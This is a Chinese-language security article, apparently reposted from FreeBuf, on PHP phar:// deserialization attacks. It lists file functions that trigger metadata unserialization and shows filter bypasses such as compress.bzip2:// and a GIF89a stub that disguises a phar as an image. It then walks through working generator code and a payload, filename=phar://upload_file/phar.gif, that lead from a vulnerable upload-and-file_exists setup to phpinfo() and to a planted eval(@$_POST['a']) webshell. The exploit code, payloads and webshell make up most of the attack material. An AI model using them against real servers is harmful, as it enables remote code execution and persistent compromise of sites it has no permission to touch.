前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHAR反序列化拓展操作总结

PHAR反序列化拓展操作总结

作者头像
FB客服
发布2019-06-28 11:15:06
9060
发布2019-06-28 11:15:06
举报
文章被收录于专栏:FreeBufFreeBuf

前言

近些阵子反序列化漏洞横行,看了几篇文章,整个漏洞发现过程是非常有意思的,所以希望总结下来,分享给大家一起研究讨论,如有不足还请多多指正。

正文

phar RCE

2018年HITCON上,baby cake这一题,涉及到了今年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the「phar://」Stream Wrapper这个议题,具体可以看这里【传送门】。它的主要内容是,通过phar://协议对一个phar文件进行文件操作,如file_get_contents,就可以触发反序列化,从而达成RCE的效果。

因为在phar.c#L618处,其调用了 php_var_unserialize:

代码语言:javascript
复制
if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {

因此可以构造一个特殊的phar包,使得代码能够被反序列化,从而构造一个POP链。这一部分已经常见了,在使用phar://协议读取文件时,文件会被解析成phar(http://php.net/manual/zh/intro.phar.php) 解析过程中会触发php_var_unserialize()函数对meta-data的操作,造成反序列化。

延伸

知道创宇 404 实验室的研究员 seaii 更为我们指出了所有文件函数均可使用(https://paper.seebug.org/680/):

代码语言:javascript
复制
fileatime / filectime / filemtimestat / fileinode / fileowner / filegroup / filepermsfile / file_get_contents / readfile / `fopen``file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writableparse_ini_fileunlink        copy
代码语言:javascript
复制

在 zsx 师傅的文章又通过 php_stream_open_wrapper 方法的调用函数中,探索出一些新的可用函数!

exif

代码语言:javascript
复制
exif_thumbnailexif_imagetype

gd

代码语言:javascript
复制
imageloadfontimagecreatefrom***

hash

代码语言:javascript
复制
hash_hmac_filehash_filehash_update_filemd5_filesha1_file

file / url

代码语言:javascript
复制
get_meta_tagsget_headers

standard

代码语言:javascript
复制
getimagesizegetimagesizefromstring

zip

代码语言:javascript
复制
$zip = new ZipArchive();$res = $zip->open('c.zip');$zip->extractTo('phar://test.phar/test');

Bzip / Gzip

如果 phar://不能出现在头几个字符怎么办?

代码语言:javascript
复制
demo.php?filename=compress.bzip2://phar://upload_file/shell.gif/a

验证

代码

代码语言:javascript
复制
<?phperror_reporting(0);$filename=$_GET['filename'];if (preg_match("/\bphar\b/A", $filename)) {    echo "stop hacking!\n";}else {    class comrare{        public $haha = 'haha';
        function __wakeup(){            eval($this->haha);        }
    }
    imagecreatefromjpeg($_GET['filename']);}?>

poc 验证

代码语言:javascript
复制
<?phpclass comrare{    public $haha = 'comrarezzzzz';
}@unlink('shell.phar');$phar = new Phar("shell.phar"); //后缀名必须为 phar$phar->startBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$object = new comrare();//$object ->haha= 'eval(@$_POST[\'a\']);';$object ->haha= 'phpinfo();';$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest$phar->addFromString("a", "a"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();
?>

这个 poc 同时绕过了 gif 限制和 phar 开头限制,同样我们可以 getshell 成功!

测试

首先我们自己生成一个 phar 文件来观察它的结构,php 内置了一个 Phar 类来处理相关操作!

操作前请注意:要将 php.ini 中的 phar.readonly 选项设置为 Off,否则无法生成 phar 文件。

代码语言:javascript
复制
<?phpclass TestObject {}$phar = new Phar("phar.phar"); //后缀名必须为 phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub$o = new TestObject();$o -> data='cck';$phar->setMetadata($o); //将自定义的 meta-data 存入 manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>

运行后会生成一个 phar 文件在当前目录

我们观察下它的文件结构

可以明显的看到 meta-data 是以序列化的形式存储的。 有序列化数据必然会有反序列化操作,php 大部分的文件系统函数在通过 phar://伪协议解析 phar 文件时,都会将 meta-data 进行反序列化!

漏洞 php

代码语言:javascript
复制
<?phpclass TestObject{    function __destruct(){        echo $this -> data;   // TODO: Implement __destruct() method.    }}include('phar://phar.phar');?>

将 phar 伪造成其他格式的文件

在前面分析 phar 的文件结构时可能会注意到,php 识别 phar 文件是通过其文件头的 stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将 phar 文件伪装成其他格式的文件。

伪造 gif 文件代码:

代码语言:javascript
复制
<?php    class TestObject {
    }    $phar = new Phar('phar.phar');    $phar -> startBuffering();    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置 stub,增加 gif 文件头    $phar ->addFromString('test.txt','test');  //添加要压缩的文件    $object = new TestObject();    $object -> data = 'cck';    $phar -> setMetadata($object);  //将自定义 meta-data 存入 manifest    $phar -> stopBuffering();?>

file phar.phar 如下

这种方法可以用于上传检测!

利用

在别人复现的基础上实现了 RCE

条件

phar 文件要能够上传到服务器端。

如 file_exists(),fopen(),file_get_contents(),file() 等文件操作的函数

要有可用的魔术方法作为「跳板」。

文件操作函数的参数可控,且:、/、phar 等特殊字符没有被过滤。

环境文件

upload_file.php,后端检测文件上传,文件类型是否为 gif,文件后缀名是否为 gif

upload_file.html 文件上传表单

file_un.php 存在 file_exists(),并且存在__destruct()

文件内容

upload_file.php

代码语言:javascript
复制
<?phpif (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {    echo "Upload: " . $_FILES["file"]["name"];    echo "Type: " . $_FILES["file"]["type"];    echo "Temp file: " . $_FILES["file"]["tmp_name"];
    if (file_exists("upload_file/" . $_FILES["file"]["name"]))      {      echo $_FILES["file"]["name"] . " already exists. ";      }    else      {      move_uploaded_file($_FILES["file"]["tmp_name"],      "upload_file/" .$_FILES["file"]["name"]);      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];      }    }else  {  echo "Invalid file,you can only upload gif";  }

upload_file.html

代码语言:javascript
复制
<body><form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">    <input type="file" name="file" />    <input type="submit" name="Upload" /></form></body>

file_un.php

代码语言:javascript
复制
<?php$filename=$_GET['filename'];class AnyClass{    var $output = 'echo "cck";';    function __destruct(){        eval($this -> output);    }}file_exists($filename);

实现流程

首先是根据 file_un.php 写一个生成 phar 的 php 文件,当然需要绕过 gif,所以需要加 GIF89a,然后我们访问这个 php 文件后,生成了 phar.phar,修改后缀为 gif,上传到服务器,然后利用 file_exists,使用 phar://执行代码

构造代码

首先用 eval.php 生成执行 phpinfo 的文件

代码语言:javascript
复制
<?phpclass AnyClass{    var $output = 'echo "cck";';    function __destruct(){        eval($this -> output);    }}$phar = new Phar('phar.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$object = new AnyClass();$object -> output= 'phpinfo();';$phar -> setMetadata($object);$phar -> stopBuffering();

访问 eval.php,会在当前目录生成 phar.phar,然后修改后缀 gif

上传成功,获得上传目录

然后利用 file_un.php。

payload:filename=phar://upload_file/phar.gif

执行 phpinfo 成功!

RCE

既然代码能执行成功,又存在命令执行函数,我们就可以实现 RCE 获得 shell! 我们尝试上传一句话木马,修改后的文件如下:

代码语言:javascript
复制
<?phpclass AnyClass{    var $output = 'echo "cck";';    function __destruct(){        eval($this -> output);    }}$phar = new Phar('phar.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$object = new AnyClass();$object -> output= 'eval(@$_POST[\'a\']);';//$object -> output= 'phpinfo();';$phar -> setMetadata($object);$phar -> stopBuffering();?>

同样的步骤上传,尝试连接,成功 getshell!

参考

https://paper.seebug.org/680/

*本文原创作者:cck,本文属FreeBuf原创奖励计划,未经许可禁止转载

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-06-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 正文
    • phar RCE
      • 延伸
        • 验证
          • 测试
            • 利用
            • 参考
            相关产品与服务
            文件存储
            文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档